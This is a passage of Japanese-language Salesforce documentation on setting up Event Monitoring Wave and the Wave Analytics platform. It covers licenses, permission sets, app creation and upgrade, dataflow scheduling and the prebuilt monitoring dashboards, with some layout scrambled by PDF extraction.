セキュリティ述語や他のデータセット検索条件は、手動でアプリケーションデータフローに追加する必要があ
ります。
アプリケーションの作成時に、複数階層 (テナント/マネージャ) はサポートされません。この機能は手動で追
加する必要があります。
現在、Knowledge Usage ダッシュボードには 1 つの記事タイプのレポートが表示されます。この記事タイプは、
設定ウィザードの使用時に選択します。

Event Monitoring Wave アプリケーション

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Event Monitoring Wave アプ
リケーションを使用する
• 「Wave Analytics テン

プレートアプリケー
ションの使用」

Event Monitoring Wave アプ
リケーションを作成およ
び管理する
• 「Event Monitoring

Wave テンプレートお
よびアプリケーション
へのアクセス」

• 「Wave Analytics テン
プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Event Monitoring Wave アプリケーションは、イベント監視を統合し、監査履歴デー
タを設定することにより、ユーザや組織の動作に関するインサイトを提供しま
す。

メモ: イベント監視の一部として Event Monitoring Wave アプリケーションを
使用することもできます。このアプリケーションは、登録の一部として提
供されたデータのアップロードおよびアクセスを行う場合にのみ使用しま
す。ユーザがこのアプリケーションを使用して、他のデータのアップロー
ドやアクセスを行うことがないようにしてください。Salesforce では、その
ような使用を監視することがあります。イベント監視 Wave アプリケーショ
ンは英語のみで利用できます。Analytics Cloud - Wave Analytics Platform ライセン
スがある場合、Event Monitoring Wave アプリケーションのダッシュボードに
アクセスできます。

Event Monitoring Wave アプリケーションは、Salesforceで監視データを探索するため
に初めて組み込まれた方法です。アプリケーションの作成は簡単で、事前作成
済みのダッシュボードやデータセットが付属しているため、すぐに探索を開始
できます。このアプリケーションを使用することにより、組織のデータの詳細
を調べ、不審な行動、ページのパフォーマンスの低下、ユーザ導入の低下など
をすばやく特定できます。

1. Event Monitoring Wave アプリケーションの Salesforce 権限の設定
組織で Event Monitoring Wave アプリケーションを使用できるように設定するた
めに、Wave を有効にし、権限セットライセンスを割り当て、権限セットを作
成して割り当てます。

2. Event Monitoring Wave アプリケーションの作成と共有
正しい権限さえ有効にすれば、Event Monitoring Wave アプリケーションの設定
は簡単です。

3. Event Monitoring Wave アプリケーションのアップグレード
新しいバージョンがリリースされるたびにアプリケーションをアップグレー
ドして、最新の Event Monitoring Wave 機能を活用します。
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4. Event Monitoring Wave の日次データフローのスケジュール
Event Monitoring Wave で探索を開始する前に、日次データフローをスケジュールします。

5. Event Monitoring Wave アプリケーションの事前作成済みダッシュボードについて
Event Monitoring Wave アプリケーションには、事前作成済みのダッシュボードのセットが付属しているため、
データの探索をすぐに開始できます。組織からのデータは、生成時に自動的に Event Monitoring Wave アプリ
ケーションのデータセットに読み込まれます。

6. Event Monitoring Wave アプリケーションの用語の概要
Event Monitoring Wave アプリケーションで使用される総計値と用語を理解すると、このアプリケーションを
最大限に活用する上で役立ちます。

Event Monitoring Wave アプリケーションの Salesforce 権限の設定

ユーザ権限

Event Monitoring Wave アプ
リケーションを作成およ
び管理する
• 「Event Monitoring

Wave テンプレートお
よびアプリケーション
にアクセス」

• 「Wave Analytics テン
プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

組織で Event Monitoring Wave アプリケーションを使用できるように設定するため
に、Wave を有効にし、権限セットライセンスを割り当て、権限セットを作成し
て割り当てます。

メモ: イベント監視の一部として Event Monitoring Wave アプリケーションを
使用することもできます。このアプリケーションは、登録の一部として提
供されたデータのアップロードおよびアクセスを行う場合にのみ使用しま
す。ユーザがこのアプリケーションを使用して、他のデータのアップロー
ドやアクセスを行うことがないようにしてください。Salesforce では、その
ような使用を監視することがあります。イベント監視 Wave アプリケーショ
ンは英語のみで利用できます。Analytics Cloud - Wave Analytics Platform ライセン
スがある場合、Event Monitoring Wave アプリケーションのダッシュボードに
アクセスできます。

各 Event Monitoring Wave ライセンスは、最大 10 ユーザの Event Monitoring Wave への
アクセス権を付与します。次の表に、アプリケーションのデータストレージ制
限を示します。より多くのデータが必要な場合、1 億行を追加できる Analytics

Cloud - Additional Data Rows を購入できます。

表 66 : Event Monitoring Wave データストレージ制限
制限ライセンス

Analytics Cloud - Wave Analytics Platform ライセンスなしで
使用する場合は 5 千万行。最大 10 ユーザにアクセス
権を付与。

Analytics Cloud - Event Monitoring Wave アプリケーション

1 億行。Analytics Cloud - Additional Data Rows

重要: Event Monitoring Wave アプリケーションライセンスのデータストレージ制限は、契約上の制限であ
り、技術的な制限ではありません。ライセンシーは、データ行の合計数を厳密に監視することに同意し
ています。

過去 30 日間のイベントログファイルデータを使用できます。Developer Edition 組織の場合、過去 24 時間のデー
タを使用できます。
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Salesforce Wave Analytics プラットフォームの有無に関係なく、組織で Event Monitoring Wave アプリケーションを使
用できます。Event Monitoring Wave アプリケーションは、有料の Event Monitoring ライセンスを持つ組織に無料で
提供されます。Event Monitoring Wave アプリケーションライセンスによって、次の権限が有効になります。

表 67 : Event Monitoring Wave ユーザ権限
機能権限

Event Monitoring Wave アプリケーションを含む、すべて
の Wave テンプレートアプリケーションへのアクセス
を有効にします。

「Wave Analytics テンプレートアプリケーションの使
用」

警告: この権限のあるユーザは、「イベントロ
グファイルを参照」および「API の有効化」ユー
ザ権限がなくてもイベント監視データにアクセ
スできます。これを割り当てる場合は注意して
ください。

システム管理者は、Event Monitoring Wave アプリケー
ションを作成できます。

「Event Monitoring Waveテンプレートおよびアプリケー
ションへのアクセス」

システム管理者は、組織のユーザの Wave テンプレー
トアプリケーションを作成できます。

「Wave Analytics テンプレートアプリケーションの管
理」

システム管理者は、既存のデータフローの JSON をアッ
プロードおよびダウンロードできます。

「Wave Analytics データフローの編集」

Event Monitoring アプリケーションの設定プロセス
最適な結果を得るには、Event Monitoring Wave アプリケーションの設定手順を示された順序どおりに実行しま
す。

1. Event Monitoring Wave アプリケーション権限セットライセンスおよびユーザ権限
Event Monitoring Wave アプリケーション権限セットライセンスによって、Event Monitoring Waveアプリケーショ
ンのデータ探索と管理に必要なユーザ権限が有効になります。

2. Event Monitoring Wave アプリケーションユーザ種別の特定
Event Monitoring Wave アプリケーションユーザ種別と実行するタスクを特定し、設定プロセスでチームのイ
ベント監視分析ニーズを満たせるようにします。

3. Wave Analytics とイベント監視の有効化および権限セットライセンスの割り当て
Salesforce によって Event Monitoring Wave ライセンスがプロビジョニングされたら、Wave およびイベント監視
を有効にして Event Monitoring Wave アプリケーション権限セットライセンスを割り当てます。

4. Event Monitoring Wave アプリケーション権限セットの作成とユーザへの割り当て
組織のユーザに Event Monitoring Wave 機能へのアクセス権を付与するには、ユーザが必要な機能に基づいて
1 つ以上の権限セットを作成し、割り当てます。
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Event Monitoring Wave アプリケーション権限セットライセンスおよびユーザ権限
Event Monitoring Wave アプリケーション権限セットライセンスによって、Event Monitoring Wave アプリケーション
のデータ探索と管理に必要なユーザ権限が有効になります。
Event Monitoring アプリケーションユーザごとに、Event Monitoring Wave アプリケーション権限セットライセンス
が必要です。Event Monitoring Wave アプリケーション権限セットライセンスによって、次の権限が有効になりま
す。

表 68 : Event Monitoring Wave アプリケーション権限
可能になる機能ユーザ権限

Event Monitoring Waveアプリケーションを含む、すべて
の Wave テンプレートアプリケーションへの一般的な
アクセス。

「Wave Analytics テンプレートアプリケーションの使
用」

Event Monitoring Wave アプリケーションの作成。「Event Monitoring Wave テンプレートおよびアプリケー
ションにアクセス」

組織のユーザ向け Wave テンプレートアプリケーショ
ンの作成。

「Wave Analytics テンプレートアプリケーションの管
理」

データフローの編集、開始、停止、再スケジュール。
データ監視でデータフローとシステムジョブを監視。

「Wave Analytics データフローの編集」

このユーザ権限を割り当てるときは慎重に判断してく
ださい。この権限では、インテグレーションユーザが
アクセスできるすべてのSalesforceオブジェクトデータ
にアクセスできます。「Wave Analytics での Salesforce の
データアクセス」を参照してください。

Event Monitoring Wave アプリケーションユーザ種別の特定
Event Monitoring Waveアプリケーションユーザ種別と実行するタスクを特定し、設定プロセスでチームのイベン
ト監視分析ニーズを満たせるようにします。
Event Monitoring Wave ライセンスには、組織のユーザが Event Monitoring Wave を管理してイベントデータを探索す
るのに必要な権限が含まれます。Event Monitoring Waveを最も使いやすく設定するには、ユーザがEvent Monitoring

Wave 機能にアクセスするさまざまな方法を検討し、ユーザを各種別に分類します。次は、その例です。
ほとんどの場合、Event Monitoring Wave では、チームの 2 つの基本的な種別のユーザのニーズに対応します。
• ユーザ。Event Monitoring Wave ダッシュボードおよびデータセットを表示します。
• システム管理者またはマネージャ。アプリケーション、ダッシュボード、データセットの作成や、Event

Monitoring アプリケーション操作環境のカスタマイズを行うために、すべての Event Monitoring Wave 機能にア
クセスします。

したがって、Event Monitoring Wave を設定するときには、次の 2 つの基本的な権限セットを作成することで組織
のほとんどのユーザのニーズを満たせる可能性があります。
• 「参照」権限セット。ほとんどの基本レベルのユーザが Event Monitoring Wave にアクセスするときに必要と

する権限が含まれます。
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• 一部のシステム管理者とマネージャ用に予約された「管理」権限セット。すべての Event Monitoring Wave 機
能を使用する権限が含まれます。

以降の Event Monitoring Waveアプリケーションの詳細な設定手順では、これらの 2 つの権限セットの作成および
割り当て方法について説明します。

Wave Analytics とイベント監視の有効化および権限セットライセンスの割り当て
SalesforceによってEvent Monitoring Waveライセンスがプロビジョニングされたら、Wave およびイベント監視を有
効にして Event Monitoring Wave アプリケーション権限セットライセンスを割り当てます。
Wave プラットフォームの有効化
1. Salesforce の [設定] メニューで、[管理] の [Analytics Cloud | 使用開始] をクリックします。
2. [分析の有効化] をクリックします。
イベント監視の有効化
1. [設定] から、[クイック検索] ボックスに「イベント」と入力し、[イベント監視設定] を選択します。
2. [イベントログファイルのEvent Monitoring Wave アプリケーションとのインテグレーションを有効化]を有効

にします。
権限セットライセンスの割り当て
次に、Event Monitoring Wave アプリケーションにアクセスする必要がある組織内の各ユーザに権限セットライセ
ンスを割り当てます。
1. [設定] メニューで、[ユーザの管理] | [ユーザ] をクリックします。
2. Wave へのアクセス権を付与するユーザの名前をクリックします。最初は、ユーザ、システム管理者、また

はシステム管理者に指定したその他の名前を選択するとよいでしょう。
3. カーソルを [権限セットライセンスの割り当て] に置き、[割り当ての編集] をクリックします。

4. Event Monitoring Wave アプリケーション権限セットライセンスを選択し、[保存] をクリックします。

重要: Event Monitoring アプリケーションにアクセスする必要がある組織内のすべてのユーザについてこれ
らの手順を繰り返します。
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Event Monitoring Wave アプリケーション権限セットの作成とユーザへの割り当て

ユーザ権限

権限セットを作成する
• 「プロファイルと権限

セットの管理」

組織のユーザに Event Monitoring Wave 機能へのアクセス権を付与するには、ユー
ザが必要な機能に基づいて 1 つ以上の権限セットを作成し、割り当てます。
Event Monitoring Wave アプリケーション権限セットライセンスをユーザに割り当て
たら、Event Monitoring Waveユーザ権限で構成される権限セットを作成し、ユーザ
に割り当てます。ユーザのニーズを満たす必要がある権限セットを作成できま
す。2 つの権限セットの作成方法を次に示します。
• 「Event Monitoring Wave の管理」権限セット (Event Monitoring Wave を作成および管理するユーザ用)

• 「Event Monitoring Wave の表示」権限セット (アプリケーションダッシュボードおよびデータセットを探索す
るユーザ用)

では、「Event Monitoring Wave の管理」権限セットの作成から始めましょう。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択します。
2. [新規] をクリックします。
3. [表示ラベル] 項目にManage Event Monitoring Waveと入力します。これにより API 参照名が自動的に作

成されます。この参照名は必要に応じて変更できます。
4. 警告: このステップを正確に実行しないと、組織の一部のユーザが Event Monitoring Wave にアクセスで

きなくなる可能性があります。
[ライセンス] ドロップダウンオプションを使用して、この権限セットに関連付ける権限セットライセンス
を選択します。Event Monitoring Wave では、デフォルト値 --None-- のままにします。

5. 権限セットで有効にする機能権限を選択します。[設定の検索...] を使用するとすばやく検索できます。
「Wave Analytics テンプレートアプリケーションの使用」、「Event Monitoring Waveテンプレートおよびアプリ
ケーションへのアクセス」、「Wave Analytics テンプレートアプリケーションの管理」、「Wave Analytics デー
タフローの編集」を選択します。4 つすべてを選択してください。

6. [保存] をクリックします。ユーザが Event Monitoring Wave を作成および管理して、すべてのアプリケーショ
ン機能にアクセスできる権限セットが正常に作成されました。これで、ユーザにこの権限セットを割り当
てることができます。「1 人のユーザへの権限セットの割り当て」を参照してください。

警告: 「Event Monitoring Wave の管理」権限セットがあるとユーザは Event Monitoring Wave を管理できるよう
になります。これにより、アプリケーションを作成、編集、削除できるようになるため、この権限セッ
トは慎重に割り当ててください。これはアプリケーションを管理するユーザにのみ割り当てます。

「Event Monitoring Wave の表示」を作成する場合もこの手順を繰り返しますが、[表示ラベル] 項目には代わりに
View Event Monitoring Waveを使用します。「Wave Analytics テンプレートアプリケーションの使用」およ
び「Event Monitoring Waveテンプレートおよびアプリケーションへのアクセス」ユーザ権限のみを選択します。
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Event Monitoring Wave アプリケーションの作成と共有

ユーザ権限

Event Monitoring Wave アプ
リケーションを使用する
• 「Wave Analytics テン

プレートアプリケー
ションの使用」

Event Monitoring Wave アプ
リケーションを作成およ
び管理する
• 「Event Monitoring

Wave テンプレートお
よびアプリケーション
へのアクセス」

• 「Wave Analytics テン
プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

正しい権限さえ有効にすれば、Event Monitoring Wave アプリケーションの設定は簡
単です。
権限とイベントログファイルのインテグレーションを有効にしていない場合は、
「Wave Analytics とイベント監視の有効化および権限セットライセンスの割り当
て」 (ページ 4374)の手順を実行してください。

メモ: イベントログファイルには 24 時間の生成期間があるため、作成した
最初の日にはアプリケーションにデータが表示されません。その間は、ア
プリケーションに含まれているサンプルデータを使用して、ダッシュボー
ドをプレビューすることができます。過去 30 日間のイベントログファイル
データを使用できます。Developer Edition 組織の場合、過去 24 時間のデータ
を使用できます。

1. Salesforce にログインします。
2. アプリケーションピッカーから Wave Analytics を選択します。
3. [アプリケーション]をクリックし、[イベント監視 Wave アプリケーション]を

選択してから、[続行] をクリックします。
4. アプリケーションに名前を付けます。
5. [作成] をクリックします。アプリケーション作成プロセスには時間がかかる

場合があります。ページ上部のギアメニューから [データ監視] を選択する
と、進行状況を確認できます。アプリケーション作成の一部が失敗した場合は、アプリケーションを再作
成する必要があります。

6. アプリケーションの使用準備が整うと、組織内の他のユーザと共有できます。アプリケーションを参照で
きるのは、「Wave Analytics テンプレートアプリケーションの管理」および「Event Monitoring Waveテンプレー
トおよびアプリケーションへのアクセス」権限を持つユーザのみです。アプリケーションを共有するには、
Wave Analyticsホーム画面のアプリケーションタイルにマウスポインタを置き、[共有]をクリックします。ア
プリケーション自体から共有することもできます。
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Event Monitoring Wave アプリケーションのアップグレード

ユーザ権限

Event Monitoring Wave アプ
リケーションを作成およ
び管理する
• 「Event Monitoring

Wave テンプレートお
よびアプリケーション
にアクセス」

• 「Wave Analytics テン
プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

新しいバージョンがリリースされるたびにアプリケーションをアップグレード
して、最新の Event Monitoring Wave 機能を活用します。
アプリケーションホームページの上部にあるバナーに、新しいバージョンのリ
リースが通知されます。リリースの詳細情報へのリンクも表示されます。アプ
リケーション名のすぐ下、ホームページの左側の列に、アップグレードプロセ
スを開始するためのリンクもあります。
アプリケーションをアップグレードする手順は、次のとおりです。
1. バナーの [新機能] リンクか、アプリケーションホームページの左側の列の [新

しいバージョンをご利用いただけます] をクリックします。
2. 開いたページの一番上に新しいバージョンに関する情報があります。ページ

下部には、[現在のアプリケーションをアップグレード]ボタンと[新規アプリ
ケーションを作成] ボタンがあります。

3. ボタンの上にマウスポインタを置くと、その機能についての説明が表示され
ます。[現在のアプリケーションをアップグレード] をクリックすると、現在
のアプリケーションとすべてのアセットが上書きされ、新しいバージョンに基づくアプリケーションに置
き換えられます。アップグレードすると、データフローに加えた新しい項目やオブジェクト、セキュリティ
設定やダッシュボードの表示ラベルおよび色に加えた変更などのカスタマイズも削除されます。[新規アプ
リケーションを作成]をクリックすると、新しいバージョンに基づいて現在のアプリケーションの 2 つ目の
コピーが作成されます。状況に合うオプションを決定し、該当するボタンをクリックします。

4. 警告: アプリケーションをカスタマイズした場合は、[現在のアプリケーションをアップグレード]では
なく [新規アプリケーションを作成] をクリックし、新しいバージョンに基づいてアプリケーションの
コピーを作成します。新しいアプリケーションを作成すると、現在のバージョンとカスタマイズが保
存され、カスタマイズした内容を新しいバージョンのアプリケーションに手動でコピーできます。

[現在のアプリケーションをアップグレード] をクリックすると、アップグレードオプションは現在のアプ
リケーションを上書きし、追加したカスタマイズは削除されるという警告画面が表示されます。カスタマ
イズを上書きしても問題ない場合はチェックボックスをオンにし、[次へ] をクリックします。問題がある
場合は、[戻る] をクリックして前の画面に戻ります。[次へ] をクリックすると、設定ウィザードへ進みま
す。ステップ 6 へスキップします。

5. [新規アプリケーションを作成] をクリックすると、設定ウィザードへ進みます。現在のアプリケーション
を上書きせず、追加したカスタマイズも保存されるため、警告は表示されません。

6. 設定ウィザードは、最後にウィザードを使用したときに選択した設定を読み込んで表示されます。これら
の設定を保持するか、変更できます。ウィザードの各ページを確認します。

7. ウィザードが完了すると、Wave の画面にアップグレードの影響を受けるアセットが表示されます。その画
面で、アップグレードによって変更、削除、追加されるデータセット、ダッシュボード、レンズの数を確
認します。また、アセットがどのように変更されるか (変更されたのはデータか、外観か) も表示されます。
同じ画面で、アプリケーションに行われた変更のコードが含まれるファイルをダウンロードすることもで
きます。アプリケーションをカスタマイズしている場合、ファイルをダウンロードして保存し、カスタマ
イズコードをコピーして、アップグレードされたバージョンに貼り付けることができます。

8. アップグレードオプションの場合のみ: アプリケーションをアップグレードする場合は、[現在のアプリケー
ションをアップグレード]をクリックします。これにより、行ったカスタマイズは上書きされます。また、
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[戻る]をクリックし、設定ウィザードに戻って選択を変更することも、右上隅の [X]をクリックしてキャン
セルすることもできます。

9. 作成オプションの場合のみ: 新しいアプリケーションを作成する場合、現在のバージョンとは異なるアプリ
ケーション名を入力し、[新規アプリケーションを作成] をクリックします。このオプションでは、現在の
アプリケーションとそのすべてのカスタマイズが保存されます。また、[戻る]をクリックし、設定ウィザー
ドに戻って選択を変更することも、右上隅の [X] をクリックしてキャンセルすることもできます。

アプリケーション名の下のリンクに [アプリケーションをリセット] と表示されていれば、最新バージョンのア
プリケーションが使用されており、アップグレードの必要はありません。

Event Monitoring Wave の日次データフローのスケジュール

ユーザ権限

Event Monitoring Wave アプ
リケーションを作成およ
び管理する
• 「Event Monitoring

Wave テンプレートお
よびアプリケーション
にアクセス」

• 「Wave Analytics テン
プレートアプリケー
ションの管理」

• 「Wave Analytics デー
タフローの編集」

Event Monitoring Waveで探索を開始する前に、日次データフローをスケジュールし
ます。
Event Monitoring Waveを作成する場合、その作成プロセスには、最新のイベント監
視データを Wave にインポートするデータフローが含まれます。アプリケーショ
ンで最新の Salesforce データを使用するために、データフローを毎日再実行する
ようにスケジュールできます。早朝 (通常は午前 6 時) に Salesforce によってイベ
ントログファイルが生成およびアップロードされます。アプリケーションに最
新データが含まれ、データフローによってアプリケーションの使用が妨げられ
ないように 2 ～ 3 時間後にデータフローをスケジュールします。つまり、午前 8

時～ 9 時にデータフローを実行することをお勧めします。

メモ: Event Monitoring Waveデータフローはアプリケーションの作成時に 1 回
のみ実行されます。アプリケーションで最新のイベントデータを使用する
ために、毎日実行するようにスケジュールします。

1. Salesforce ウィンドウの右上にある Force.com メニューで Wave Analytics に移動
します (まだ移動していない場合)。画面の右上にあるギアアイコンをクリックし、[データ監視] を開きま
す。

2. [データ監視] 画面の左上にあるメニューから [データフロービュー] を選択します。
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3. 作成したアプリケーションを見つけます。ページをスクロールダウンすることが必要になる場合もありま
す。アプリケーションのアイコンと名前の横にある画面右端のメニューを開きます。[スケジュール] を選
択し、データフローの時刻を設定します。データフローによって業務が妨げられないように、通常の勤務
時間外を選択します。[保存] をクリックします。

Event Monitoring Wave アプリケーションの事前作成済みダッシュボードについて
Event Monitoring Wave アプリケーションには、事前作成済みのダッシュボードのセットが付属しているため、
データの探索をすぐに開始できます。組織からのデータは、生成時に自動的にEvent Monitoring Wave アプリケー
ションのデータセットに読み込まれます。
ほとんどのダッシュボードは、EventLogFile オブジェクトの 1 つのイベント種別を表しています。EventLogFile オ
ブジェクトリファレンスには、各イベント種別の詳細な情報が含まれています。My Trust と Setup Audit Trail の 2

つのダッシュボードはイベント種別に対応していません。各ダッシュボードの機能を見ていきましょう。
Apex Executions

Apex の実行イベント種別に対応しています。このダッシュボードでは、Apex コードの実行とパフォーマン
スのトレンドを追跡できます。

API

API イベントのイベント種別に対応しています。API ダッシュボードでは、組織のユーザの API 使用状況およ
び API パフォーマンスの両方についての情報が得られます。各オブジェクトの使用頻度、各オブジェクトの
処理速度、およびそのオブジェクトで呼び出されるメソッドを確認できます。

Dashboard

ダッシュボードイベント種別に対応しています。Dashboard ダッシュボードでは、ダッシュボードの導入と
パフォーマンスを追跡できます。

Visualforce Requests

Visualforce要求イベント種別に対応しています。このダッシュボードでは、Visualforceの導入とページパフォー
マンスのトレンドを確認できます。

Files

コンテンツ転送イベント種別に対応しています。組織内のユーザがコンテンツ転送 (ダウンロード、アップ
ロード、またはプレビュー) を実行すると、このダッシュボードに表示されます。ファイルの導入状況も追
跡できます。

Lightning

UI 追跡イベント種別に対応しています。このダッシュボードには、ユーザが Lightning Experience または
Salesforce1 でアクセスしているページが表示されます。
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Login-As

別名でログインイベント種別に対応しています。このダッシュボードでは、どのシステム管理者がどのユー
ザアカウントで別名でログイン機能を使用しているかを確認できます。

My Trust

My Trust ダッシュボードでは、組織内で時間の経過に伴ってどのようなイベントが発生しているかを全体的
に把握できます。また、これらのトランザクションの平均速度も表示されます。

Page Views (URIs)

URI イベント種別に対応しています。Page Views ダッシュボードでは、Salesforce Classic デスクトップアプリ
ケーションでユーザがアクセスしているページを確認できます。

Report Downloads

レポートのエクスポートイベント種別に対応しています。このダッシュボードでは、レポートをダウンロー
ドしているユーザとダウンロード元を確認できます。

Report

レポートイベント種別に対応しています。Reports ダッシュボードには、レポートのトレンドに加え、特定
のレポートを実行しているユーザが表示されます。また、パフォーマンスの問題があるレポートを確認す
ることもできます。

REST API

REST API イベント種別に対応しています。このダッシュボードには、REST API 使用状況のトレンドおよび最
もトラフィックが多いエンドポイントが表示されます。また、要求を発行している IP 範囲とコールされて
いるメソッドについての情報も参照できます。

Setup Audit Trail

[設定] の [設定変更履歴] ページに対応しています。ユーザが [設定] 領域でどのような変更を行っているかが
表示されます。

User Logins

ログインイベント種別に対応しています。User Logins ダッシュボードには、ユーザによるログインのトレン
ドと、ユーザが組織にアクセスしている場所と方法についての情報が表示されます。

Event Monitoring Wave アプリケーションの用語の概要
Event Monitoring Wave アプリケーションで使用される総計値と用語を理解すると、このアプリケーションを最大
限に活用する上で役立ちます。

説明用語

平均ページ時間。複数のトランザクションにまたがっ
て集計した総計値です。

APT

体験ページ時間。ユーザから見たページトランザク
ションのタイミングです。

EPT

Salesforceでユーザが開始したインタラクション。たと
えば、ログイン、API コールの起動、またはレポート

イベント

のダウンロードなどです。イベントは、EventLogFile

sObject に関連付けられます。
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Wave for B2B Marketing アプリケーション
Wave for B2B Marketing はデータ主導のマーケティング担当者に高度な分析を提供し、マーケティングデータと
セールスデータを 1 か所で探索できるようになります。Pardot と Sales Cloud データを統合した強力なダッシュ
ボードにより、データをすばやく探索し、収益に対するマーケティングの影響を理解し、マーケティングの成
果を促進するアクションを瞬時に実行できます。

メモ: Wave for B2B Marketing アプリケーションのヘルプは、現在 Salesforce Pardot 知識ベース内にあります。
使用を開始するには、Wave for B2B Marketing の概要ページを参照してください。

Wave プラットフォームの設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

組織でSalesforce Wave Analyticsプラットフォームを使用できるように設定するため
に、Wave を有効にし、権限セットライセンスを割り当て、権限セットを作成し
て割り当てます。
ここでは、Wave プラットフォームを使用するように組織を設定する方法を説明
します。Sales Wave、Service Wave、およびその他のアプリケーションの使用開始
と設定については、「事前作成済み Wave アプリケーション」を参照してくださ
い。
各 Analytics Cloud - Wave Analytics Platform ライセンスは、Salesforce Wave Analytics クラ
ウドへのアクセス権が提供されるシングルユーザライセンスです。このライセ
ンスには、Analytics Cloud - Sales Wave Analytics アプリケーションおよび Analytics Cloud

- Service Wave Analytics アプリケーションのシングルユーザライセンスが 1 つ含ま
れます。次の表に、各ライセンスのデータストレージ制限を示します。より多
くのデータが必要な場合、1 億行を追加できる Analytics Cloud - Additional Data Rows

を購入できます。

制限ライセンス

1 億行Analytics Cloud - Wave Analytics Platform

Analytics Cloud - Wave Analytics Platform ライセンスなしで
使用する場合は 2,500 万行。Sales Wave アプリケーショ

Analytics Cloud - Sales Wave Analytics アプリケーション

ンライセンスを使用しても、プラットフォームライセ
ンスのデータの上限は増えません。

Analytics Cloud - Wave Analytics Platform ライセンスなしで
使用する場合は 2,500 万行。Service Wave アプリケーショ

Analytics Cloud - Service Wave Analytics アプリケーション

ンライセンスを使用しても、プラットフォームライセ
ンスのデータの上限は増えません。

1 億行Analytics Cloud - Additional Data Rows
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重要:

• Wave Analytics ライセンスのデータストレージ制限は、契約上の制限であり、技術的な制限ではありま
せん。ライセンシーは、データ行の合計数を厳密に監視することに同意しています。

• 2015 年 10 月 20 日より前に Analytics Cloud Builder または Analytics Cloud Explorer 権限セットライセンスと共
に Wave Analytics Platform ライセンスを購入している場合は、「2015 年 10 月 20 日より前に購入されたラ
イセンスによる Wave Analytics プラットフォームの設定」を参照してください。Builder または Explorer ラ
イセンスから新しい Analytics Cloud - Wave Analytics Platform ライセンスにユーザを移行する場合は、ユーザ
の設定プロセスを開始する前に「2015 年 10 月 20 日より前に購入された Wave ライセンスから新しい
Wave Platform ライセンスへの移行」を参照してください。

• Wave Analyticsを無効にすると、ユーザ権限は定義された各権限セットから削除されます。Wave Analytics

を後で再度有効にする場合は、権限セットを再定義する必要があります。

Wave プラットフォームの設定プロセス
Wave Analytics プラットフォームを使用するように組織を設定するには、次の基本手順に従います。
Wave プラットフォームを有効にします。Wave を設定するための最初のステップは、単に組織で Wave を有効化
するだけです。
権限セットライセンスをユーザに割り当てます。次に、Analytics Cloud - Wave Analytics Platform 権限セットライセ
ンスを各ユーザに割り当てます。各権限セットライセンスは、1 人のユーザにのみ割り当てることができま
す。また、ユーザプロファイルに関連付けられたユーザライセンスは、Analytics Cloud - Wave Analytics Platform 権
限セットライセンスをサポートしている必要があります。Wave Platform 権限セットライセンスをサポートして
いないユーザライセンスもあります。
ユーザ種別を定義し、権限セットを作成して割り当てます。次に、組織のメインユーザ種別を定義し、各ユー
ザ種別のニーズに合わせて関連するユーザ権限をグループ化する権限セットを作成します。権限セットを作成
したら、ユーザに割り当てます。権限セットは個々のユーザに割り当てることができますが、効率化するため
にユーザのグループに割り当てることもできます。1 人のユーザに複数の権限セットを割り当てることができ
ます。

段階的な手順: 権限セットを作成、編集、割り当てる
Wave 権限セットライセンスは、次の Salesforce ユーザライセンスと共に割り当てることができます。
• Force.com (App Subscription)

• Force.com (One App)

• Full CRM

• Salesforce Platform

• Salesforce Platform One

最適な結果を得るには、Wave Analytics プラットフォームの設定手順をここに示された順序どおりに実行しま
す。

1. Wave Analytics Cloud 権限セットライセンスとユーザ権限について
Wave Analytics 権限セットライセンスによって、Salesforce Wave Analytics プラットフォームのデータ探索と管理
の権限が有効になります。また、Salesforce コミュニティユーザは Wave ダッシュボードを表示できます。
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2. Wave Analytics プラットフォームのユーザ種別の特定
Wave プラットフォームユーザの種別を特定すると、設定プロセスでチームの分析ニーズを満たせるように
なります。

3. Wave Analytics の有効化と Analytics Cloud - Wave Analytics Platform 権限セットライセンスの割り当て
Salesforce によって Wave Analytics Platform ライセンスがプロビジョニングされたら、Wave を有効化し、Wave

Analytics 権限セットライセンスを割り当てます。
4. Wave Analytics 権限セットの作成

組織のユーザが必要な機能に基づいて 1 つ以上の権限セットを作成し、割り当てることで、ユーザに Wave

機能へのアクセス権を付与できます。
5. Wave Analytics 権限セットのユーザへの割り当て

権限セットを 1 人以上のユーザに割り当てて (1 人ずつまたは一括で)、Wave 機能へのアクセス権を付与しま
す。

6. Wave Analytics プラットフォームの設定の完了
Wave プラットフォームのユーザ環境を強化し、追加の設定手順で Salesforce データへの Wave アクセスを細
かく調整します。

関連トピック:

2015 年 10 月 20 日より前に購入されたライセンスによる Wave Analytics プラットフォームの設定
2015 年 10 月 20 日より前に購入された Wave ライセンスから新しい Wave Platform ライセンスへの移行

Wave Analytics Cloud 権限セットライセンスとユーザ権限について
Wave Analytics 権限セットライセンスによって、Salesforce Wave Analytics プラットフォームのデータ探索と管理の
権限が有効になります。また、Salesforce コミュニティユーザは Wave ダッシュボードを表示できます。
• Wave プラットフォームユーザが Wave プラットフォームを使用するには、ユーザごとに 1 つの Analytics Cloud

- Wave Analytics Platform 権限セットライセンスが必要です。
• コミュニティユーザが Visualforce ページに埋め込まれたダッシュボード経由で共有された Wave アプリケー

ションを表示するには、Analytics Cloud - Wave コミュニティユーザ権限セットライセンスが必要です。
Analytics Cloud - Wave Analytics Platform 権限セットライセンスによって、次の権限が有効になります。

可能になる機能ユーザ権限

Wave Analytics へのアクセス。データセットの表示および探索。
レンズとダッシュボードの表示および共有。

「Wave Analytics の使用」

Wave Analytics ダッシュボードの作成、編集、削除。「Wave Analyticsダッシュボードの作成および
編集」

Wave Analytics アプリケーションの作成、編集、削除、共有。「Wave Analytics アプリケーションの作成」

外部データをWave Analyticsにアップロードしてデータセットを
作成。データ監視でデータフローとシステムジョブを監視。

「外部データを Wave Analytics にアップロー
ド」
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データフローの編集、開始、停止、再スケジュール。データ監
視でデータフローとシステムジョブを監視。このユーザ権限に

「Wave Analytics データフローの編集」

